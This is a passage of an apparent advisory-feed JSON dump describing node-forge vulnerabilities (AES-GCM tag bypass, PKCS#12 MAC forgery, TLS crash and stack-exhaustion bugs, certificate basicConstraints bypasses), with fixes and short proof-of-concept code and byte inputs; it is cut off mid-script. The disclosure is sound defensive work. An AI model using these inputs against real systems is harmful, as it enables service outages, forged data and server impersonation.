1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDg3LWo4cjQtNGcyZs4ACALF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Y3dnLTZ2dzctcmo2cM4ACALE","url":"https://github.com/advisories/GHSA-5cwg-6vw7-rj6p","title":"Forge: AES-GCM authentication bypass via unvalidated tagLength option","description":"### Summary\n\nThe AES-GCM mode in forge.cipher does not validate the tagLength option passed to start(). With a tagLength of 0 or a value that converts to 0 (such as null, false, '' or '0'), the authentication tag is empty, and decipher.finish() returns true for any ciphertext and additional data when the supplied tag is empty or missing. Fixed in node-forge 1.4.1.\n\n### Details\n\n`modes.gcm.prototype.start()` in `lib/cipherModes.js` stored the `tagLength` option without validation, and `lib/cipher.js` documented it as accepting \"0-128\". After processing the data, `afterFinish()` truncates the 16-byte tag with `truncate(16 % (tagLength / 8))`. For a `tagLength` that converts to 0, this is `16 % 0 = NaN`, and truncating by `NaN` empties the tag. On decryption, the start-time check that the supplied `tag` has `tagLength / 8` bytes passes for an empty tag, and the final tag comparison compares two empty strings, so `decipher.finish()` returns `true` for any ciphertext and additional data.\n\nNIST SP 800-38D section 5.2.1.2 allows only tag lengths of 128, 120, 112, 104 and 96 bits, plus 64 and 32 bits for certain applications.\n\nThe fix validates `tagLength` in `start()`, for both encryption and decryption. A missing, `null` or `undefined` `tagLength` uses the default of 128 bits. Any other value is converted with `Number()` and must be one of 128, 120, 112, 104, 96, 64 or 32; otherwise `start()` throws \"Invalid tag length.\". Numeric strings such as `'128'` are still accepted. With a validated `tagLength`, an empty tag no longer matches the expected tag length and is rejected.\n\n### Patches\nFixed in node-forge 1.4.1. `cipher.start()` now throws an error unless `tagLength` is one of the tag lengths allowed by NIST SP 800-38D (128, 120, 112, 104, 96, 64 or 32 bits); a `null` or `undefined` `tagLength` means the default of 128 bits.\n\n### Workarounds\nDo not derive `tagLength` from received data. Pass a fixed `tagLength` (or omit it to use the default of 128 bits), and check that the received tag has the expected length before calling `start()`, for example `if(tag.length !== 16) { throw new Error('Invalid tag.'); }` before `decipher.start({iv: iv, tag: tag});`.\n\n### Proof of concept\n\nStart an AES-GCM decipher with `tagLength: 0` and an empty tag, as an application does when it derives the tag length from a received empty tag, and feed it arbitrary bytes that were never encrypted under the key:\n\n```js\nvar decipher = forge.cipher.createDecipher('AES-GCM', key);\ndecipher.start({iv: iv, tag: '', tagLength: 0});\ndecipher.update(forge.util.createBuffer('any attacker-chosen bytes'));\ndecipher.finish();\n// \u003c= 1.4.0: true\n// 1.4.1: start() throws \"Invalid tag length.\"\n```\n\n`tagLength` values `null`, `false` and `'0'` (with an empty tag), and `tagLength: 0` with no `tag` option, give the same result on \u003c= 1.4.0. The fix adds regression tests in `tests/unit/aes.js`.\n\n### Impact\n\nApplications that decrypt AES-GCM data with `forge.cipher.createDecipher()` (`'AES-GCM'`) and pass a zero-like `tagLength` are affected. Typical cases are a tag length derived from the received tag, or an unset configuration value:\n\n```js\nvar decipher = forge.cipher.createDecipher('AES-GCM', key);\ndecipher.start({iv: iv, tag: receivedTag, tagLength: receivedTag.length * 8});\ndecipher.update(forge.util.createBuffer(receivedCiphertext));\nif(decipher.finish()) { /* attacker-supplied data accepted */ }\n```\n\nAn attacker who can send a ciphertext with an empty tag to such an application can make it accept attacker-chosen ciphertext as authentic. Because GCM encryption is a stream cipher, an attacker who knows (part of) a captured message's plaintext can also change that plaintext to chosen values. The default (no `tagLength` option, 128 bits) and any fixed valid `tagLength` are not affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-30T23:02:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-5cwg-6vw7-rj6p","https://nvd.nist.gov/vuln/detail/CVE-2026-119186","https://github.com/digitalbazaar/forge/commit/236845d96c71207259f91638d0138bba8e2fd624","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-5cwg-6vw7-rj6p"],"source_kind":"github","identifiers":["GHSA-5cwg-6vw7-rj6p","CVE-2026-119186"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.332Z","epss_percentage":0.00206,"epss_percentile":0.10709,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Y3dnLTZ2dzctcmo2cM4ACALE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Y3dnLTZ2dzctcmo2cM4ACALE","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Y3dnLTZ2dzctcmo2cM4ACALE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qYzY2LTdxNzgtNzgyZ84ACALD","url":"https://github.com/advisories/GHSA-jc66-7q78-782g","title":"Forge: PKCS#12 MAC forgery and constant-key PBE via zero iteration count","description":"### Summary\n\nforge.pkcs12.pkcs12FromAsn1() accepts a PKCS#12 MAC iteration count of zero (or less) from the input, and the PKCS#12 key derivation function then returns a constant key that does not depend on the password or salt. An attacker who does not know the password can modify a PKCS#12/PFX file and compute a MAC that verifies with any password; PKCS#12 PBE-encrypted private keys prepared the same way decrypt with any password. Fixed in node-forge 1.4.1.\n\n### Details\n\n`p12.pkcs12FromAsn1()` in `lib/pkcs12.js` reads the MAC iteration count (`MacData.iterations`) from the input and passes it to the PKCS#12 key derivation function `pki.pbe.generatePkcs12Key()` in `lib/pbe.js` (also exposed as `forge.pkcs12.generateKey()`) without checking that it is at least 1. The key derivation function (RFC 7292 Appendix B.2) runs its hash loop `iter` times. With an iteration count of 0 (or an empty or negative INTEGER), no hashing is done and the function returns the PKCS#12 diversifier ID byte repeated, for example `0x03` repeated 20 times for an HMAC-SHA1 MAC key. The result does not depend on the password or the salt, so anyone can compute a valid MAC over arbitrary PFX contents.\n\nThe same key derivation function is used by `pki.pbe.getCipherForPKCS12PBE()` for the PKCS#12 password-based encryption schemes `pbeWithSHAAnd3-KeyTripleDES-CBC` and `pbewithSHAAnd40BitRC2-CBC`, whose `pkcs-12PbeParams` iteration count is also read from the input. With an iteration count of 0 or less, the encryption key and IV are constants (`0x01` and `0x02` repeated). This is reached from shrouded key bags and encrypted SafeContents in `pkcs12FromAsn1()`, and from `forge.pki.decryptPrivateKeyInfo()` (for example for `ENCRYPTED PRIVATE KEY` PEM input).\n\nRFC 7292 defines `MacData` with `iterations INTEGER DEFAULT 1`; an iteration count only makes sense as 1 or more (RFC 8018 uses `INTEGER (1..MAX)` for the same concept). PBES2 (PBKDF2) encrypted content is not affected.\n\nThe fix rejects iteration counts less than 1 when verifying a PKCS#12 MAC in `pkcs12FromAsn1()` (\"PKCS#12 MAC iteration count must be \u003e= 1.\") and at the entry of `pki.pbe.generatePkcs12Key()` (\"PKCS#12 key derivation iteration count must be \u003e= 1.\"), which covers the MAC, both PKCS#12 PBE schemes and direct `forge.pkcs12.generateKey()` callers.\n\n### Patches\nFixed in node-forge 1.4.1. Iteration counts less than 1 are now rejected when verifying a PKCS#12 MAC and in the PKCS#12 key derivation function.\n\n### Workarounds\nBefore calling `forge.pkcs12.pkcs12FromAsn1()`, reject inputs whose `MacData.iterations` is present and less than 1. For encrypted private keys using the PKCS#12 PBE schemes, there is no simple workaround other than checking the `pkcs-12PbeParams` iteration count before decryption, or upgrading.\n\n### Credits\nReported by Thai, Calif.io in collaboration with Claude and Anthropic Research.\n\n### Proof of concept\n\nTake any PKCS#12/PFX file, replace its AuthenticatedSafe with attacker-chosen content (for example the attacker's certificate and an unencrypted private key), set `MacData.iterations` to 0 (DER `02 01 00`), and compute the HMAC-SHA1 over the new content with the key `0x03` repeated 20 times. On node-forge \u003c= 1.4.0, `forge.pkcs12.pkcs12FromAsn1(asn1, password)` reports successful MAC verification for whatever password the application supplies and returns the attacker's certificate and key. An empty or negative iteration count behaves the same way. Likewise, a shrouded key bag or `ENCRYPTED PRIVATE KEY` using `pbeWithSHAAnd3-KeyTripleDES-CBC` with iteration count 0 decrypts with any password.\n\nThe constant key is visible directly:\n\n```js\nvar salt = new forge.util.ByteBuffer('anysalt');\nforge.pkcs12.generateKey('any password', salt, 3, 0, 20).toHex();\n// \u003c= 1.4.0: '0303030303030303030303030303030303030303'\n// 1.4.1: throws \"PKCS#12 key derivation iteration count must be \u003e= 1.\"\n```\n\nThe fix adds regression tests in `tests/unit/pkcs12.js` and the reporter's PoC in `tests/pocs/`.\n\n### Impact\n\nApplications that import PKCS#12/PFX files or PKCS#8 encrypted private keys from untrusted sources with `forge.pkcs12.pkcs12FromAsn1()` or `forge.pki.decryptPrivateKeyInfo()`, and rely on the password-based MAC or on successful decryption to establish that the file was produced by someone who knows the password. The default API and call pattern are affected; no password, oracle or user interaction is needed, only one offline HMAC.\n\nAn attacker can supply a PKCS#12 file with certificates and private keys of their choice (for example, replaced certificates or an unencrypted private key) that node-forge reports as verified under the application's password. The attacker does not learn the password or the original private key. PBES2 (PBKDF2) encrypted content is not affected.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:02:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-jc66-7q78-782g","https://nvd.nist.gov/vuln/detail/CVE-2026-118782","https://github.com/digitalbazaar/forge/commit/d9584aa56824972858366d5187b3d29e46bf3656","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-jc66-7q78-782g"],"source_kind":"github","identifiers":["GHSA-jc66-7q78-782g","CVE-2026-118782"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.333Z","epss_percentage":0.00125,"epss_percentile":0.02201,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qYzY2LTdxNzgtNzgyZ84ACALD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qYzY2LTdxNzgtNzgyZ84ACALD","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qYzY2LTdxNzgtNzgyZ84ACALD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aHJmLThnNmYtN3h3cM4ACALC","url":"https://github.com/advisories/GHSA-8hrf-8g6f-7xwp","title":"Forge: Denial of service in TLS record processing via a record interleaved with a fragmented handshake message","description":"### Summary\n\nA connection created with `forge.tls.createConnection()` throws an uncaught `TypeError` from `process()` when it receives a record of another content type while waiting for the rest of a handshake message that was split across records. A peer can trigger this with 18 bytes before the handshake, without authentication, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1.\n\n### Details\n\nIn `lib/tls.js`, `_readRecord()` handles a record that arrives while a handshake message split across records is incomplete. If the record has any other content type (change_cipher_spec, alert, application_data or heartbeat), forge correctly reports \"Invalid fragmented record.\" through `c.error()` with a fatal `unexpected_message` alert. That fatal error closes and resets the connection, which sets `c.record` to `null`. `_readRecord()` then continues with `c.record.ready = true` and throws `TypeError: Cannot set properties of null (setting 'ready')` out of `process()`. The code is unchanged since the first release.\n\nRFC 5246 section 6.2.1 allows a handshake message to be fragmented across records, and RFC 8446 section 5.1 forbids interleaving handshake messages with other record types. Failing the connection with `unexpected_message` is the intended behavior; the bug is the crash after the error.\n\nnode-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process.\n\nThe fix returns from `_readRecord()` right after the fatal error. The connection is failed, the alert is sent and the `error` callback is called as before, and `process()` no longer throws.\n\n### Patches\nFixed in node-forge 1.4.1. The connection still fails with a fatal `unexpected_message` alert and the `error` callback, but `process()` no longer throws.\n\n### Workarounds\nWrap every call to `connection.process()` in `try`/`catch`. The connection has already been failed and closed when the exception is thrown, so the exception can be ignored or the socket destroyed.\n\n### Proof of concept\n\nInput (server mode), two records, 18 bytes:\n\n  16 03 01 00 06 01 00 00 10 03 01   handshake record: ClientHello header announcing 16 bytes, 2 present\n  15 03 01 00 02 02 28               alert record\n\n  // c = forge.tls.createConnection({server: true, ...})\n  c.process(forge.util.hexToBytes('1603010006010000100301' + '15030100020228'));\n\nOn 1.4.0 the `error` callback receives \"Invalid fragmented record.\", then `process()` throws `TypeError: Cannot set properties of null (setting 'ready')`. A change_cipher_spec, application_data or heartbeat record in place of the alert has the same effect, and a client connection behaves the same with a fragment of a ServerHello. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 18 bytes terminates the server process. On 1.4.1 the connection fails with a fatal `unexpected_message` alert and `process()` returns normally.\n\nRegression tests in tests/unit/tls.js, \"fragmented handshake messages\": each of the four other record types after a handshake fragment, in server and client mode, plus same-type continuation records that are still accepted.\n\n### Impact\n\nApplications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send 18 bytes before the handshake, without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves, and the attacker can repeat it on every restart. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:02:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-8hrf-8g6f-7xwp","https://nvd.nist.gov/vuln/detail/CVE-2026-119188","https://github.com/digitalbazaar/forge/commit/700d977d39f9f8f896c55b0763eebb940a2c087e","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-8hrf-8g6f-7xwp"],"source_kind":"github","identifiers":["GHSA-8hrf-8g6f-7xwp","CVE-2026-119188"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.334Z","epss_percentage":0.00411,"epss_percentile":0.35571,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aHJmLThnNmYtN3h3cM4ACALC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aHJmLThnNmYtN3h3cM4ACALC","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aHJmLThnNmYtN3h3cM4ACALC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocXEzLTdqaGYtYzVqeM4ACALB","url":"https://github.com/advisories/GHSA-hqq3-7jhf-c5jx","title":"Forge: Denial of service in TLS record processing via call stack exhaustion","description":"### Summary\n\nConnections created with `forge.tls.createConnection()` processed received TLS records recursively, one stack level per record. A peer can send one chunk of thousands of small records, such as heartbeat records, which are accepted before the handshake, and `process()` throws `RangeError: Maximum call stack size exceeded`, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1.\n\n### Details\n\nIn `lib/tls.js`, `c.process()` reads one record and passes it to `_update()`, which calls the handler for the record type from `ctTable`. Every handler (`tls.handleHeartbeat`, `tls.handleApplicationData`, `tls.handleHandshake` for fragmented messages, `tls.handleHelloRequest` and the other handshake handlers) ends by calling `c.process()` again to continue with the next buffered record, or the next message in the same record. Each record therefore adds `process` → `_update` → handler to the call stack. In Node.js 24, about 2,300 eight-byte records (under 20 KB) in one chunk are enough for `process()` to throw `RangeError: Maximum call stack size exceeded`.\n\n`ctTable` maps heartbeat records to `tls.handleHeartbeat` in every client and server state, so heartbeat records are processed before the handshake without any extension negotiation. The attack needs no authentication and no valid handshake messages. Both server connections (attacked by a client) and client connections (attacked by the server they connect to) are affected. Other record types recurse the same way: a handshake message fragmented over many records, many HelloRequest messages in one record, or many application data records after the handshake.\n\nnode-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. If the exception is caught, the connection is left partially processed and should be discarded.\n\nNo specification is violated; this is an implementation flaw (uncontrolled recursion).\n\nThe fix makes `c.process()` iterative. The record-reading code moves into `_processRecord()`, and `c.process()` runs it in a loop. A handler's call to `c.process()` without new data, made while records are being processed, now only flags that the loop should continue. Calls with new data are processed right away as before, so callback order and return values are unchanged.\n\n### Patches\nFixed in node-forge 1.4.1. Records are now processed in a loop, so the stack depth no longer depends on the number of records.\n\n### Workarounds\nWrap every call to `connection.process()` in `try`/`catch`, and on an exception close the connection (`connection.close()`) and destroy the underlying socket. This prevents the process crash but not the loss of the attacked connection.\n\n### Credits\nReported jointly by Ziyue Wang, Chenchen, Strick Sheng, Liyi Zhou, and Maurice Ng.\n\n### Proof of concept\n\nInput: one chunk of N identical heartbeat records, each 8 bytes:\n\n  18 03 01 00 03 01 00 00\n  (content type 24 = heartbeat, TLS 1.0, length 3, heartbeat_request with a 0-byte payload)\n\n  // c = forge.tls.createConnection({server: true, ...})\n  var rec = forge.util.hexToBytes('1803010003010000');\n  c.process(new Array(5001).join(rec)); // 5,000 records, 40,000 bytes\n\nOn 1.4.0 (Node.js 24), `process()` throws `RangeError: Maximum call stack size exceeded` after about 2,300 records, before any handshake. The same happens for a client connection. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 40,000 bytes terminates the server process. On 1.4.1 all records are processed and the server keeps running.\n\nRegression tests in tests/unit/tls.js, \"record processing\": 50,000 heartbeat records in one call in server and client mode, a handshake message fragmented over 50,000 records, many HelloRequest messages per record, and checks that byte-by-byte input and exceptions from callbacks behave as before.\n\n### Impact\n\nApplications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections, which call `process()` on received data. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send a small chunk of records (under 20 KB) without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves; repeated chunks keep it down. In browsers the impact is limited to the attacked connection. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:01:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-hqq3-7jhf-c5jx","https://nvd.nist.gov/vuln/detail/CVE-2026-119187","https://github.com/digitalbazaar/forge/commit/817e2ce0d0f6d8a25bc9c2670615c38a9ffdc51c","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-hqq3-7jhf-c5jx"],"source_kind":"github","identifiers":["GHSA-hqq3-7jhf-c5jx","CVE-2026-119187"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.335Z","epss_percentage":0.00415,"epss_percentile":0.35807,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXEzLTdqaGYtYzVqeM4ACALB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocXEzLTdqaGYtYzVqeM4ACALB","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXEzLTdqaGYtYzVqeM4ACALB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01eDM4LTJ2ZmYteDU1cM4ACALA","url":"https://github.com/advisories/GHSA-5x38-2vff-x55p","title":"Forge: X.509 basicConstraints bypass in verifyCertificateChain() via deprecated extension OIDs 2.5.29.10 and 2.5.29.13","description":"### Summary\nnode-forge parses certificate extensions with the deprecated OIDs `2.5.29.10` and `2.5.29.13` as `basicConstraints`, and `forge.pki.verifyCertificateChain()` used the first extension with that name. A certificate with a forged deprecated-OID extension (`cA` TRUE) before its genuine `basicConstraints` extension (`cA` FALSE) is accepted as a CA certificate, and the same technique can hide a `pathLenConstraint`. Fixed in node-forge 1.4.1.\n\n### Details\n`lib/oids.js` maps the deprecated certificate extension OIDs `2.5.29.10` and `2.5.29.13` to the name `basicConstraints`, the same name as the RFC 5280 extension `2.5.29.19`. `certificateExtensionFromAsn1()` in `lib/x509.js` decodes extensions by name, so these extensions are decoded into the same `cA` and `pathLenConstraint` fields. `cert.getExtension()` returns the first extension with a matching name, and `pki.verifyCertificateChain()` looked up `basicConstraints` by name.\n\nAs a result, a certificate that contains a `2.5.29.10` (or `2.5.29.13`) extension with `cA` TRUE before its genuine `basicConstraints` extension with `cA` FALSE is accepted as a CA certificate. The same technique can hide a CA certificate's `pathLenConstraint`. A deprecated-OID extension on its own also satisfies the check added for GHSA-2328-f5f3-gj25 (CVE-2026-33896) that `basicConstraints` is present. RFC 5280 section 4.2.1.9 defines basicConstraints only as `id-ce 19` (`2.5.29.19`), and the path validation checks in section 6.1.4 apply to that extension.\n\nThe fix makes chain verification look up basicConstraints by OID (`cert.getExtension({id: '2.5.29.19'})`). This covers both the `cA` and the `pathLenConstraint` checks. Certificate parsing, the OID table and `cert.getExtension('basicConstraints')` are unchanged.\n\n#### Patches\nFixed in node-forge 1.4.1. Chain verification now uses only the `basicConstraints` extension with OID `2.5.29.19`.\n\n#### Workarounds\nNone in node-forge itself. Applications that pass an `options.verify` callback to `pki.verifyCertificateChain()` (or `verify` to `forge.tls.createConnection()`) can reject chains in which a non-leaf certificate has no `2.5.29.19` extension with `cA` TRUE, for example with `cert.getExtension({id: '2.5.29.19'})`. CA operators can avoid copying unrecognized extensions from certificate requests.\n\n#### Credits\n\nWorkOS Security Team· [security@workos.com](mailto:security@workos.com) (@nickcollisson-workos)\n\n### Proof of concept\nHave a trusted CA issue an end-entity certificate whose extensions are, in this order: a `2.5.29.10` (or `2.5.29.13`) extension with the value of a basicConstraints `cA` TRUE (DER `30 03 01 01 FF`), then the CA's own `2.5.29.19` basicConstraints with `cA` FALSE, and no `keyUsage`. For example, `openssl x509 -req -copy_extensions copy` with an extensions file that sets `basicConstraints = CA:FALSE` copies the extension from the CSR and produces this order. Use that certificate's key to sign a leaf certificate for any name.\n\nOn node-forge \u003c= 1.4.0, `forge.pki.verifyCertificateChain(caStore, [leaf, eeCert])` accepts the chain, and `eeCert.getExtension('basicConstraints')` returns the `2.5.29.10` extension with `cA` true. The same certificate without the deprecated-OID extension is rejected (\"Certificate basicConstraints indicates the certificate is not a CA.\"). A certificate with only the deprecated-OID extension is also accepted.\n\nThe fix adds regression tests in `tests/unit/x509.js` and the reporter's PoC as `tests/pocs/ghsa-5x38-2vff-x55p.js`.\n\n### Impact\nApplications that verify certificate chains with `forge.pki.verifyCertificateChain()`, including TLS peer certificate verification in `forge.tls`, are affected.\n\nExploitation requires a CA trusted by the application to issue a certificate that contains the attacker-supplied deprecated-OID extension, typically a CA that copies extensions from certificate signing requests. For example, `openssl x509 -req -copy_extensions copy` (or `copyall`) with an extensions file that sets `basicConstraints = CA:FALSE` and no `keyUsage` produces such a certificate. If the issuing CA adds a `keyUsage` extension without `keyCertSign`, node-forge rejects the chain.\n\nThe holder of such a certificate can then issue certificates for any name that `pki.verifyCertificateChain()` accepts. In forge's own TLS stack this allows impersonating servers (or clients, where client certificates are verified) and intercepting traffic.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:01:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-5x38-2vff-x55p","https://nvd.nist.gov/vuln/detail/CVE-2026-119190","https://github.com/digitalbazaar/forge/commit/58c06bc251856b409c30ecb35a93f5f6c9bbc84a","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-5x38-2vff-x55p"],"source_kind":"github","identifiers":["GHSA-5x38-2vff-x55p","CVE-2026-119190"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.335Z","epss_percentage":0.00246,"epss_percentile":0.159,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDM4LTJ2ZmYteDU1cM4ACALA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eDM4LTJ2ZmYteDU1cM4ACALA","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDM4LTJ2ZmYteDU1cM4ACALA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04Nnc5LWNwcXAtODVyds4ABp7F","url":"https://github.com/advisories/GHSA-86w9-cpqp-85rv","title":"node-forge RSA PKCS#1 v1.5 signature verification accepts extra nested DigestAlgorithm elements","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-03T21:31:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-85393","https://github.com/digitalbazaar/forge/issues/1149","https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/asn1.js","https://github.com/digitalbazaar/forge/blob/v1.4.0/lib/rsa.js","https://www.vulncheck.com/advisories/node-forge-through-1.4.0-rsa-pkcs-1-1.5-signature-forgery-via-nested-digestalgorithm-padding","https://github.com/digitalbazaar/forge/pull/1152","https://github.com/advisories/GHSA-86w9-cpqp-85rv"],"source_kind":"github","identifiers":["GHSA-86w9-cpqp-85rv","CVE-2026-85393"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T22:00:09.234Z","updated_at":"2026-11-05T13:01:11.407Z","epss_percentage":0.00248,"epss_percentile":0.16158,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Nnc5LWNwcXAtODVyds4ABp7F","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04Nnc5LWNwcXAtODVyds4ABp7F","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Nnc5LWNwcXAtODVyds4ABp7F/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yMzI4LWY1ZjMtZ2oyNc4ABUWX","url":"https://github.com/advisories/GHSA-2328-f5f3-gj25","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = 